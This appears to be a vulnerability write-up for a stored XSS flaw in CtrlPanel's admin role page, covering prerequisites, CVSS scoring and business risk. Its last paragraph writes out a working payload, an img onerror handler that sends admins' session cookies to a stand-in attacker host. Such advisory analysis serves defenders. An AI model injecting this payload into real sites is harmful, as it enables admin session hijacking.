CtrlPanel CVE-2026-34246

Exploitation requires an authenticated admin account with role creation or edit permissions in CtrlPanel (confirmed by CVSS PR:H). The payload executes only when a separate victim admin loads the /admin/roles DataTable page (confirmed by CVSS UI:R), meaning the attacker and victim must be distinct admin accounts - self-exploitation is not meaningful. The vulnerability is triggered specifically because the datatable() method in RoleController.php uses .rawColumns(['actions', 'name']), a developer-configured option that disables HTML escaping for the name column. Installations where only a single admin account exists are not exposed to cross-admin session theft, but are still vulnerable to self-persistent payload injection. The attack is limited to the admin panel and does not affect end-user (non-admin) sessions. No special server configuration, non-default feature flag, or specific PHP/Laravel version is required beyond having any CtrlPanel version 1.1.1 or earlier deployed with more than one admin user.

The CVSS 4.8 Medium score accurately reflects the constrained attack prerequisites: PR:H (high privileges - attacker must already hold an admin role with create/edit permissions) and UI:R (victim admin must visit /admin/roles). These factors substantially reduce the real-world attack surface compared to a typical unauthenticated stored XSS. However, S:C (Changed scope) signals that the impact crosses privilege boundaries - a malicious admin can use this to compromise other admins who may hold broader permissions or different access levels. The persistent, self-replicating nature of the payload (re-executes every page load) and the potential for lateral escalation within the admin panel make the actual business impact higher than the CVSS score alone suggests. No EPSS score was provided in the available data, so exploitation probability cannot be quantified numerically. No CISA KEV listing exists, meaning active widespread exploitation is not confirmed. The PoC payload is documented in the advisory description itself, lowering the bar for exploitation by anyone with admin access. Risk is primarily relevant to multi-admin deployments where trust boundaries between admins exist and where one admin account might be compromised or malicious.

A malicious or compromised admin with role creation permissions navigates to the CtrlPanel role management interface and creates a new role with the name set to a payload such as <img src=x onerror="fetch('https://attacker.example/c?s='+document.cookie)">. The payload is stored in the database. When any other admin subsequently loads the /admin/roles page, their browser renders the raw HTML, silently exfiltrating their session cookie to the attacker - who then replays the cookie to hijack the victim's admin session. The payload persists and fires on every page load until the role record is deleted. A PoC payload of this form is documented in the CVE advisory itself.